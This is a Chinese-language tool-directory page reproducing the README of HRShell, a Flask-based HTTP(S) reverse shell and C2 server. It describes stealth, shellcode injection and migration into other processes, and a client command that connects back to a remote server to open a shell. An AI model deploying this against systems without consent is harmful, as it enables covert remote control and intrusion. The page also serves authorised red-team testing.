Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HRShell — HRShell 是一个基于 flask 构建的 HTTPS/HTTP 反向 shell。它是一个功能丰富、能力强大的高级 C2 服务器。 | Kitploit
工具/GitHubGitHub/chrispetrou/hrshell
加密/解密工具漏洞利用逆向工程Shellcode后渗透利用Web安全渗透测试命令与控制红队Payload 开发Archived
GitHubchrispetrou/hrshell
2486985年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

HRShell

HRShell 是一个基于 flask 构建的 HTTPS/HTTP 反向 shell。它是一个功能丰富、能力强大的高级 C2 服务器。

查看仓库
HRShell:基于Flask构建的高级HTTP(S)反向Shell

GPLv3 license version Known Vulnerabilities



HRShell 是一个基于 Flask 构建的 HTTPS/HTTP 反向 Shell,兼容 Python 3.x。 client.py 已在以下环境成功测试:

  • Linux ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

而 server.py 与 Unix 系统兼容(Windows 支持即将到来...)

功能特点

  • 隐秘性
  • TLS 支持 🔑
    • 使用 即时生成 的证书 或
    • 指定证书/密钥对(更多细节见下文...)
  • Shellcode 注入 💉(更多细节见下文...)
    • 在当前运行进程的线程/派生进程中注入 Shellcode
      • 目前支持的平台:
        • Windows x86
        • Unix x86
        • Unix x64
    • 或通过指定 PID 将 Shellcode 注入到另一个进程(migrate <PID>)
      • 目前支持的平台:
        • Windows x86
        • Windows x64
  • Shellcode 可从服务器端即时设置/修改(更多细节见下文...)
  • 客户端代理支持
  • 目录导航(cd 命令及其变体)
  • 在 Unix 系统上支持交互式 history 命令
  • 提供 download/upload/screenshot/hex 命令
  • 支持管道(|)和链式命令(;)
  • 支持所有非交互式命令(如 gdb、top 等)
  • 服务器同时支持 HTTP 和 HTTPS
  • 目前内置两个服务器 🌐... Flask 内置服务器 和 Tornado-WSGI,同时兼容其他生产服务器如 gunicorn 和

*版本变更请查看 CHANGELOG 。

详情


隐秘性 :shipit:

HRShell 具有隐秘性,因为它使用 HTTP(S) 协议作为客户端和服务器之间的通信方法。此外,当使用 TLS 时,流量也会被加密。另外,如果证书没有在客户端硬编码(这是一个可行的选项),并且没有使用 upload 命令,那么 client.py 完全不会触及磁盘。

TLS 安全传输层

服务器端: 除非指定了 --http 选项,默认情况下 server.py 使用 HTTPS 并采用 即时生成 的证书,因为即时生成证书是 Flask 内置功能。但如果指定了 -s tornado 选项以使服务器使用 TLS,则必须同时指定 --cert 和 --key 选项,如下所示:

root@kitploit:~
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

可以使用"真实"证书,或者通过其他方式生成证书/密钥对,例如使用 mkcert 或直接使用 openssl:

root@kitploit:~
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

证书/密钥对也可以与 Flask 服务器一起使用:

root@kitploit:~
python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ 如果服务器使用 TLS,那么根据设计,客户端不能使用 http://... 连接服务器,而必须明确使用 https。

客户端端: 默认情况下,客户端的 SSL 验证 是禁用的,除非:

  • 指定了 --cert 参数,例如:
    root@kitploit:~
    python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
    
  • 或者预先将 CERT 变量(而非默认的 None)设置为有效的证书,例如:
    root@kitploit:~
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    在这种情况下,client.py 会尝试在运行时创建一个隐藏的 .cert.pem 文件并使用它。

⚠️ 默认情况下客户端禁用 SSL 验证并不意味着 TLS 也被禁用,如果服务器使用 TLS,TLS 就会启用——因此 TLS 完全取决于服务器。客户端上的 --cert 选项只是服务器和客户端之间建立加密会话的另一种方式,仅此而已。

Shellcode 注入 💉

Shellcode 注入有两种"模式",分别使用以下两个命令:

  1. migrate <PID>:使用此命令,我们可以通过指定目标进程的 PID 将 shellcode 注入到另一个进程的内存空间中。目前此命令仅支持 Windows x86/x64 平台!
  1. inject shellcode:使用此命令,当前进程将创建一个新线程(在 Unix 系统上为派生进程)并在其内存空间中进行 shellcode 注入。因此,我们的 HTTP(S) shell 不受注入影响。此命令支持的平台为:Unix x86/x64、Windows x86!
注意
  • 如果注入发生在某个进程中,进程权限起着非常重要的作用。由于权限不足,并非总能成功注入任何进程。

设置/修改 Shellcode

有两种方式可以指定/设置你想要客户端执行的 shellcode 类型:

  • 在 client.py 脚本中预设 shellcode 变量为有效的 shellcode,或者
  • 使用 set shellcode <shellcode-id> 命令即时设置。使用此命令,你可以从服务器侧任意多次地更新客户端侧的 shellcode!

第一种方式相当直接。但为了使用第二种更方便的方式(因为你可以随时修改已指定的 shellcode),你需要设置 shellcodes/utils.py 脚本,使其包含你选择的 shellcode。该脚本中包含了一个如何操作的示例。

💡 即使在你启动了 server.py 之后,你也可以随意多次修改/更新 shellcodes/utils.py 脚本,因为 server.py 会动态使用最新版本。这样你就可以在运行过程中设置和修改 shellcode...

可用命令:

特殊命令:

任何其他命令(只要不是交互式的,例如 gdb、top 等)都受支持。此外,输入 python server.py -h 或 python client.py -h 可以获取服务器和客户端的可用参数信息。

__注意:__如果客户端与服务器已连接,并且我们想要终止服务器,在按下 CTRL+C 之前,必须先使用 exit 命令关闭连接。

创建自定义命令

客户端侧:

要创建自定义命令,通常需要:

  • 在客户端定义描述该命令的正则表达式规则
  • 在客户端以 elif 语句的形式添加处理该命令的代码

服务器侧:

如果该命令需要在服务器端存在新端点,那么:

  • 定义端点:
    root@kitploit:~
    @app.route('/custom_endpoint/<arg>')
    def custom_endpoint(arg):
        """
        documentation if needed
        """
        ...
        return ...
    
  • 然后编辑 handleGET() 以将客户端重定向到该端点:
    root@kitploit:~
    @app.route('/')
    def handleGET():
        ...
        return redirect(url_for('custom_endpoint',
            arg=...)
            )
    
  • 在 handlePOST() 中进行适当的编辑以处理结果的呈现。

脚本参数

两个脚本(_server.py_ 和 _client.py_)都可以通过参数进行定制:

server.py

root@kitploit:~
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]

server.py: An HTTP(S) reverse-shell server with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify the HTTP(S) server to use (default: flask).
  -c , --client   Accept connections only from the specified client/IP.
  --host          Specify the IP to use (default: 0.0.0.0).
  -p , --port     Specify a port to use (default: 5000).
  --http          Disable TLS and use HTTP instead.
  --cert          Specify a certificate to use (default: None).
  --key           Specify the corresponding private key to use (default: None).

client.py

root@kitploit:~
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]

client.py: An HTTP(S) client with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify an HTTP(S) server to connect to.
  -c , --cert     Specify a certificate to use.
  -p , --proxy    Specify a proxy to use [form: host:port]

📦 依赖安装:

要安装服务器依赖:

root@kitploit:~
pip install -r requirements.txt --upgrade --user

📌 待办事项

  • 添加更多命令和功能。
  • 修复潜在错误。

💭 贡献与反馈

欢迎反馈和贡献。如果您发现任何错误或有功能请求,请随时提交 issue,我将在审查后尽快修复。

免责声明

此工具仅用于测试和学术目的,且只能在明确同意的情况下使用。请勿将其用于非法目的!最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对因使用此工具和软件造成的任何误用或损害负责。

致谢及参考

  • Seitz J. Gray Hat Python: Python programming for hackers and reverse engineers. no starch press; 2009 Apr 15.
  • PyShellCode
  • 一篇优秀的文章见 此处。
  • 客户端的 hexdump 函数取自 这个出色的 gist。
  • HRShell 徽标使用 fontmeme.com 制作!

许可证

本项目基于 GPLv3 许可证授权 - 详情请参阅 LICENSE 文件。

下载工具
Nginx
  • server.py 和 client.py 都易于扩展
  • 由于大部分功能来自服务器的端点设计,因此很容易用其他语言(如 Java、GO 等)编写客户端